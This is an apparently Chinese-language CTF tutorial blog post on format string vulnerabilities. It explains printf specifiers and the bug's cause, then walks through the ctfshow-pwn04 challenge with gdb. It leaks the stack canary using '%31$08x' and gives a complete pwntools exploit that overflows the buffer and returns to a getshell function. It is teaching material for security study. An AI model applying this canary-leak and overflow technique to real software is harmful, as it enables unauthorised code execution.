Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >PWN从入门到放弃(8)——格式化字符串漏洞

PWN从入门到放弃(8)——格式化字符串漏洞

作者头像
山深有杏
发布于 2024-01-30 06:21:37
发布于 2024-01-30 06:21:37
87200
代码可运行
举报
文章被收录于专栏:CTF新手教程CTF新手教程
运行总次数:0
代码可运行

0x00 格式化字符串函数介绍

格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数

0x01 格式化字符串函数

  • 输入
    • scanf
  • 输出
    • printf 输出到 stdout
    • fprintf 输出到指定 FILE 流
    • vprintf 根据参数列表格式化输出到 stdout
    • vfprintf 根据参数列表格式化输出到指定 FILE 流
    • sprintf 输出到字符串
    • snprintf 输出指定字节数到字符串
    • vsprintf 根据参数列表格式化输出到字符串
    • vsnprintf 根据参数列表格式化输出指定字节到字符串
    • setproctitle 设置 argv
    • syslog 输出日志
    • err, verr, warn, vwarn 等 。。。

0x02 格式化字符串

这里我们了解一下格式化字符串的格式,其基本格式如下

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
%[parameter][flags][field width][.precision][length]type

每一种 pattern 的含义请具体参考维基百科的格式化字符串 。以下几个 pattern 中的对应选择需要重点关注

  • parameter
    • n$,获取格式化字符串中的指定参数
  • flag
  • field width
    • 输出的最小宽度
  • precision
    • 输出的最大长度
  • length,输出的长度
    • hh,输出一个字节
    • h,输出一个双字节
  • type
    • d/i,有符号整数
    • u,无符号整数
    • x/X,16 进制 unsigned int 。x 使用小写字母;X 使用大写字母。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
    • o,8 进制 unsigned int 。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
    • s,如果没有用 l 标志,输出 null 结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了 l 标志,则对应函数参数指向 wchar_t 型的数组,输出时把每个宽字符转化为多字节字符,相当于调用 wcrtomb 函数。
    • c,如果没有用 l 标志,把 int 参数转为 unsigned char 型输出;如果用了 l 标志,把 wint_t 参数转为包含两个元素的 wchart_t 数组,其中第一个元素包含要输出的字符,第二个元素为 null 宽字符。
    • p, void * 型,输出对应变量的值。printf(“%p”,a) 用地址的格式打印变量 a 的值,printf(“%p”, &a) 打印变量 a 所在的地址。
    • n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
    • %, ‘%‘字面值,不接受任何 flags, width。

0x03 格式化字符串漏洞原理

格式化字符串漏洞的原理也是程序编写者编写不规范造成的。

还是用上面那个例子

如果printf语句写成这样:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
printf("Color %s, Number %d, Float %4.2f");

此时我们可以发现我们并没有提供参数,那么程序会如何运行呢?程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量分别解析为

  1. 解析其地址对应的字符串
  2. 解析其内容对应的整形值
  3. 解析其内容对应的浮点值

对于 2,3 来说倒还无妨,但是对于对于 1 来说,如果提供了一个不可访问地址,比如 0,那么程序就会因此而崩溃。

0x04 格式化字符串漏洞利用

题目附件下载(ctfshow-pwn04)

1)查看文件信息

按照国际惯例,先查看文件信息

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ file ex2
$ checksec ex2

32位程序,开启了canary和nx保护

2)查看程序流程

运行一下程序,看看程序的大概流程

程序获取我们两次输入,并且将我们的输入打印出来,还会显示一些奇奇怪怪的东西

3)分析程序&查找漏洞点

将程序扔到ida pro里分析

main()函数调用了vuln()函数,很明显的提示,漏洞就在这里,我们继续分析vuln()函数

我们看到程序使用了for循环,循环两次,每次执行read()和print()函数,read函数这里很明显的溢出,但是程序开启了canary保护,我们溢出必然会覆盖canary的值,导致程序中断。

不过程序使用print()函数来进行输出,并且存在格式化字符串漏洞,因此,我们可以通过利用格式化字符串漏洞来泄露出canary的值。

4)泄露canary值

首先,我们先用gdb来调试程序

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ gdb ./ex2

先反编译一下vuln()函数

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
gdb-peda$ disass vuln

我们可以看到print()函数的地址,对这个地址下断点,然后运行程序

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
gdb-peda$ b * 0x08048665
gdb-peda$ run

随便输入点啥,并敲回车,程序执行到断点

我们看刚刚反编译的vuln()函数

这个ebp-0xc就是canary的位置

我们查看一下canary的值

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
gdb-peda$ p $ebp-0xc
gdb-peda$ x $ebp-0xc

我们看到canary的值为0xbb1ee600

这里我们查看一下栈空间

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
gdb-peda$ stack 0x28

这里圈出的就是我们canary的值,我们从上往下数,数到canary是32,考虑到我们还要输入格式化字符串来泄露canary,所以到canary是31

我们从头再来测试一下,我们还是在print()函数下断点,这回我们输入

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
gdb-peda$ %31$08x

然后程序会断下来,我们输入ni继续单步执行一次,然后查看返回的值和canary的值是否一致

这里我们泄露出的canary值为5a0baf00

查看栈空间

此时我们已经成功泄露canary的值

那么接下来就是要考虑怎么写exp了

5)编写exp

程序给我们两次输入,我们利用第一次输入来泄露canary的值,利用第二次输入来进行栈溢出,程序中还内置了getshell函数,我们需要将返回地址覆盖成getshell函数的地址。

那么现在的问题是如何利用第二次输入来进行栈溢出

我们还是利用gdb来进行调试,在print()函数位置下断点,第一次输入随便输入点什么,然后ni一直下一步,直到第二次输入时,我们输入一些有规律的字符,如:ABCD234

当程序运行到这里时,是第二次输入的位置,我们ni单步走一下,就可以输入字符串了,输入abcd1234后,查看栈空间

我们看图,第一个红框是我们输入的字符串位置,第二个红框是canary的值,第三个红框是返回地址,那么现在思路就比较直观了

我们从输入字符串位置到canary一共是25*4个字节,canary和返回地址中间还有3*4个字节

也就是说我们的payload可以写成

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
payload = 'a' * 25 * 4
payload += p32(canary)
payload += 'a' * 3 * 4
payload += p32(getshell_addr)
6)附上完整exp
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
from pwn import *

r = process('./ex2')

get_canary = '%31$08x'
r.sendline(get_canary)

r.recvline()
canary_tmp = r.recvline()
canary = int('0x' + canary_tmp,16)

payload = 'a' * 4 * 25
payload += p32(canary)
payload += 'a' * 4 * 3
payload += p32(0x0804859b)

sleep(1)
r.sendline(payload)

r.interactive()
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
PWN从入门到放弃(9)——格式化字符串漏洞(x64)
上篇我们介绍了一下格式化字符串漏洞的原理,并讲解了32位elf程序的格式化字符串漏洞的利用。
山深有杏
2024/01/30
7260
PWN从入门到放弃(9)——格式化字符串漏洞(x64)
PWN-格式化字符串漏洞
格式化字符串函数:格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式
yichen
2020/04/15
1.3K0
PWN-格式化字符串漏洞
【读者投稿】格式化字符串漏洞读书笔记
里面讲了简单的printf()实现。这里讲的除了x86-64里的pwn之外的都是32位。
信安之路
2018/08/08
3670
【读者投稿】格式化字符串漏洞读书笔记
格式化字符串一文入门到实战
简单介绍一下,这是一种利用格式字符串功能来实现信息泄漏,代码执行和实现DoS攻击的漏洞。随着平台SRC的诞生,还有安全人员越来越多,如今这些漏洞已变得罕见,当使用非恒定字符串调用格式函数时,大多数现代编译器都会生成警告,而这是此漏洞的根本原因。尽管如此,这个问题仍然值得理解学习。
字节脉搏实验室
2020/12/18
1.7K0
Pwn-格式化字符串漏洞
格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根根据它来解析后面的参数。简单来说格式化字符串的漏洞就是格式字符串要求的参数和实际提供的参数不匹配。
偏有宸机
2020/11/04
1.5K0
Pwn-格式化字符串漏洞
配合格式化字符串漏洞绕过canary保护机制
我们知道,缓冲区溢出漏洞利用的关键处就是溢出时,覆盖栈上保存的函数返回地址来达到攻击效果。于是就有人就设计出了很多保护机制:Canary、PIE、NX等。本文讨论的就是若程序只开启了canary保护机制,我们该怎么应对?该机制是在刚进入函数的时候,在栈底放一个标志位canary(又名金丝雀):
FB客服
2020/05/14
1.2K0
配合格式化字符串漏洞绕过canary保护机制
Pwn-格式化字符串漏洞
格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根根据它来解析后面的参数。简单来说格式化字符串的漏洞就是格式字符串要求的参数和实际提供的参数不匹配。
偏有宸机
2020/11/04
1.1K0
Pwn-格式化字符串漏洞
二进制学习系列-格式化字符串got
加上运行过后整体了解到有一块检测登陆用户和三个模块函数,一个是编写文件'put',一个是显示文件'dir',还有一个是读取文件'get'。
安恒网络空间安全讲武堂
2018/09/21
1.7K0
二进制学习系列-格式化字符串got
格式化字符串漏洞利用 三、格式化字符串漏洞
格式化字符串漏洞的通常分类是“通道问题”。如果二类不同的信息通道混合为一个,并且特殊的转义字符或序列用于分辨当前哪个通道是激活的,这一类型的漏洞就可能出现。多数情况下,通道之一是数据通道,它不会解析,只会复制,而另一个通道是控制通道。
ApacheCN_飞龙
2022/12/01
1.1K0
PWN从入门到放弃(5)——栈溢出之ret2text
因为程序本身没有正确检查输入数据的大小,造成攻击者可以输入比buffer还要大的数据,使得超出部分覆盖程序的其他部分,影响程序执行。
山深有杏
2024/01/30
2K1
PWN从入门到放弃(5)——栈溢出之ret2text
PWN-格式化字符串漏洞
这样应该就好理解一点,printf()函数在被调用时会在根据传参顺序来进行调用,这一点在上图就已经很明显的可以看出来了,但是会一个字符一个字符的去读取,就会遇到无法读取的情况:
ly0n
2020/11/04
7410
PWN-格式化字符串漏洞
ISCC2017之pwn1初探格式化漏洞
printf函数在处理参数的时候,每遇到一个%开头的标记,就会根据这个%开头的字符所规定的规则执行,即使没有传入参数,也会认定栈上相应的位置为参数。 每一个格式化字符串的 % 之后可以跟一个十进制的常数再跟一个 $ 符号, 表示格式化指定位置的参数
De4dCr0w
2019/02/27
7010
学习PWN一个月后能做什么?
原理 栈是一种后进先出的数据结构。在调用函数的时候,都会伴随着函数栈帧的开辟和还原(也称平栈)。栈结构示意图如下(以32位程序为例):
franket
2022/03/25
8080
Linux pwn入门学习到放弃
PWN是一个黑客语法的俚语词,自”own”这个字引申出来的,意为玩家在整个游戏对战中处在胜利的优势。本文记录菜鸟学习linux pwn入门的一些过程,详细介绍linux上的保护机制,分析一些常见漏洞如栈溢出,堆溢出,use after free等,以及一些常见工具介绍等。
FB客服
2020/09/22
3.9K0
Linux pwn入门学习到放弃
格式化字符串漏洞分析与解题方法
格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据它来解析后面的参数。简单来说格式化字符串的漏洞就是格式字符串要求的参数和实际提供的参数不匹配。我们以x86结构下的例子说明。
宋三公子
2023/04/04
1.1K0
格式化字符串漏洞分析与解题方法
Pwn-多方式绕过Canary
由于cannery保护就是在距离EBP一定距离的栈帧中,用于验证是否程序有构造缓冲区的危险。而cannery所在的位置一般也都在EBP-8的位置上存储着,因此 只要有机会泄露cannery的位置,我们便有机会溢出程序
偏有宸机
2020/11/04
3.1K0
Pwn-多方式绕过Canary
山东省赛深思杯sdnisc_pwn1格式化字符串漏洞
感谢各位对鸿鹄实验室的关注,在之前发布的文章里,因编辑对排版的不熟练而造成的阅读不便,我们在这里深表歉意。我们以后会努力改正。同时也希望大家继续提出宝贵意见。
鸿鹄实验室
2021/04/15
4350
山东省赛深思杯sdnisc_pwn1格式化字符串漏洞
ISCC中pwn200 shell无法启动原因详解
0x00 背景 一朋友问到在pwn中,gdb调试看到了systemm("/bin/sh")了,但是shell确无法启动。于是我详细看了一下这个题目,发现自己的exploit绝大多数情况下也无法启动shell。 0x01 题目解答 用IDA逆了一下,程序很简单,printf的参数可以控制。 int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { int v3; // [sp+14h] [bp-6Ch]@3
WeaponX
2018/05/04
1.3K0
md5 caculator Writeup[pwnable.kr]
下载下来直接运行,提示缺libcrypto库,但是我却安装过了openssl。于是在lib下看,确实是没有这个库。因为我的环境是ubuntu x86_64装的openssl也是64位的,所以要安装32位的库,使用这个命令:
WeaponX
2018/09/20
7870
nox&CSAW部分pwn题解
暑假的时候遇到了一群一起学习安全的小伙伴,在他们的诱劝下,开始接触国外的CTF比赛,作为最菜的pwn选手就试着先打两场比赛试试水,结果发现国外比赛真有意思哎嘿。
安恒网络空间安全讲武堂
2018/10/25
1K0
相关推荐
PWN从入门到放弃(9)——格式化字符串漏洞(x64)
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
查看详情【社区公告】 技术创作特训营有奖征文
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验